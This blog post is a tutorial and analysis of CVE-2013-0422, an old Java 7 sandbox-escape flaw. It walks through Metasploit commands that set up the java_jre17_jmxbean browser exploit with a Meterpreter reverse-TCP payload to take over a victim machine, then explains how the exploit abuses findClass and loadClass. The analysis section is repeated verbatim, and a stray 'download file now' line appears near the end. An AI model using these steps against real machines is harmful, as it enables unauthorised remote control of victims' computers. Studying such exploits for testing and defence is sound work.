Showing posts with label 0422. Show all posts
Showing posts with label 0422. Show all posts
Thursday, September 21, 2017
Exploiting and Analysing CVE 2013 0422
Exploiting and Analysing CVE 2013 0422
The topic of this post will be a vulnerability in Oracle Java 7, updates 10 and older, that has been labeled as CVE-2013-0422. It was announced by Oracle in January 2013 in a security alert and the fix for the vulnerability apparently resulted in the default Java Security Level being upgraded from Medium to High. If the vulnerability is exploited, it enables the attackers to gain full control of the victims machine without permission.
The vulnerability lies in JmxMBeanServer class in Java. Just like most vulnerabilities related to Java, exploiting it allows attackers to run Java code outside the Java sandbox.
Testing the exploit
In order to test the exploit well be using the Metasploit Pentesting tool which already contains an exploit that uses this vulnerability.Before starting the metasploit console you should make sure that the targeted computer meets the requirements needed to successfully perform the exploit. This exploit requires the victim machine to have Java 7 Update 10 or older. In this tutorial Ill be using the Update 9 version of Java 7. You can find older versions of Java on Oracles site.
Once youve installed the correct version of Java 7 initiate Metasploit. The exploit we need to use is java_jre17_jmxbean and in order to set it as our exploit we type set exploit/multi/browser/java_jre17_jmxbean.
The next step is finding a suitable payload that we want to drop into the target machine. To see all the payloads we can use with this exploit we use the show payloads command.
As we can see in the picture above, this exploit is compatible with a small number of payloads. Our goal is to input commands with the Meterpreter tool so type set payload java/meterpreter/reverse_tcp into the console. Once we have chosen our payload we use the show options command in order to see what other parameters we need to set.
You can notice that the LHOST parameter is required but isnt set. To configure it type set LHOST [ip address of your machine]. You can also change the SRVHOST parameter to match your ip address by using the same set command.
When youre ready to start the exploit type exploit into the console. Soon after that Metasploit will provide you with the URL you have to use to perform the exploit.
When this URL is opened by the target machine Metasploit will start exploiting it. If the exploit is successful you will see something like this:
I used the sessions command afterwards to confirm that I have successfully started the session and to see the Id of the session because I will need it for the next command.
Type sessions -i [session Id] to start interacting with the target machine. After that you can use the Meterpreter tool to control the victims computer.
The Analysis
When the target opens the provided link all we can see from the victims perspective is a "Loading, Please Wait..." page.
If we use the Process Explorer application on the victims computer we will notice that java.exe is initiated in the browser after the link is opened. It is executing the malicious code which later on gives the attacker control over the targeted machine.
You can see in the exploits code below that the HTML page was edited to look like its always loading. This part of the exploit isnt mandatory and is actually a diversion added in order to reduce the chances of the page being closed prematurely.
The actual exploit is called in the part of the code seen below.
The java_jre17_jmxbean exploit relies on these two Java class files and we can study them more thoroughly by using the JD-GUI program or the JD-Eclipse plugin.
First thing we notice in the code of Exploit.class is that a JmxMBeanServerBuilder is used to create a com.sun.jmx.mbeanserver.JmxMBeanServer instance. After that a method in that instance, called getMBeanInstatiator, is used to create a com.sun.jmx.mbeanserver.JmxMBeanInstator instance. In other words, we have to use the public JmxMBeanServer to crate a JmxMBeanInstatiator instance since it is private.
MBeanInstator object contains the findClass method which is crucial for this exploit.
Once it is called, the findClass method will call the loadClass method which will give us the reference of any class in any package.
As a result of these actions, we are able to retrieve even restricted classes. If we continue examining the Exploit Java class we will see that the attackers used this method to get the sun.org.mozilla.javascript.internal.Context class and the sun.org.mozilla.javascript.internal.GeneratedClassLoader class.
Afterwards the constructor methods for these classes are called in order to create their instances. The Context instances createClassLoader method is invoked and it enables the defineClassMethod in GeneratedClassLoader instance to define and call any class that will, once executed, disable the Java security checks. That malicious class is the B.class, the second file that was loaded by Metasploit.
To sum up, the exploit relies on avoiding Javas restrictions and being able to call methods which you shouldnt be able to call. In Java exploits, getting out of the sandbox is the main objective. Oracle is trying to counter this by improving security checks when methods are executed and of course by trying to make sure that those methods have less flaws which can lead to vulnerabilities.
If we use the Process Explorer application on the victims computer we will notice that java.exe is initiated in the browser after the link is opened. It is executing the malicious code which later on gives the attacker control over the targeted machine.
You can see in the exploits code below that the HTML page was edited to look like its always loading. This part of the exploit isnt mandatory and is actually a diversion added in order to reduce the chances of the page being closed prematurely.
The actual exploit is called in the part of the code seen below.
The java_jre17_jmxbean exploit relies on these two Java class files and we can study them more thoroughly by using the JD-GUI program or the JD-Eclipse plugin.
First thing we notice in the code of Exploit.class is that a JmxMBeanServerBuilder is used to create a com.sun.jmx.mbeanserver.JmxMBeanServer instance. After that a method in that instance, called getMBeanInstatiator, is used to create a com.sun.jmx.mbeanserver.JmxMBeanInstator instance. In other words, we have to use the public JmxMBeanServer to crate a JmxMBeanInstatiator instance since it is private.
MBeanInstator object contains the findClass method which is crucial for this exploit.
Once it is called, the findClass method will call the loadClass method which will give us the reference of any class in any package.
As a result of these actions, we are able to retrieve even restricted classes. If we continue examining the Exploit Java class we will see that the attackers used this method to get the sun.org.mozilla.javascript.internal.Context class and the sun.org.mozilla.javascript.internal.GeneratedClassLoader class.
Afterwards the constructor methods for these classes are called in order to create their instances. The Context instances createClassLoader method is invoked and it enables the defineClassMethod in GeneratedClassLoader instance to define and call any class that will, once executed, disable the Java security checks. That malicious class is the B.class, the second file that was loaded by Metasploit.
To sum up, the exploit relies on avoiding Javas restrictions and being able to call methods which you shouldnt be able to call. In Java exploits, getting out of the sandbox is the main objective. Oracle is trying to counter this by improving security checks when methods are executed and of course by trying to make sure that those methods have less flaws which can lead to vulnerabilities.
download file now
Subscribe to:
Posts (Atom)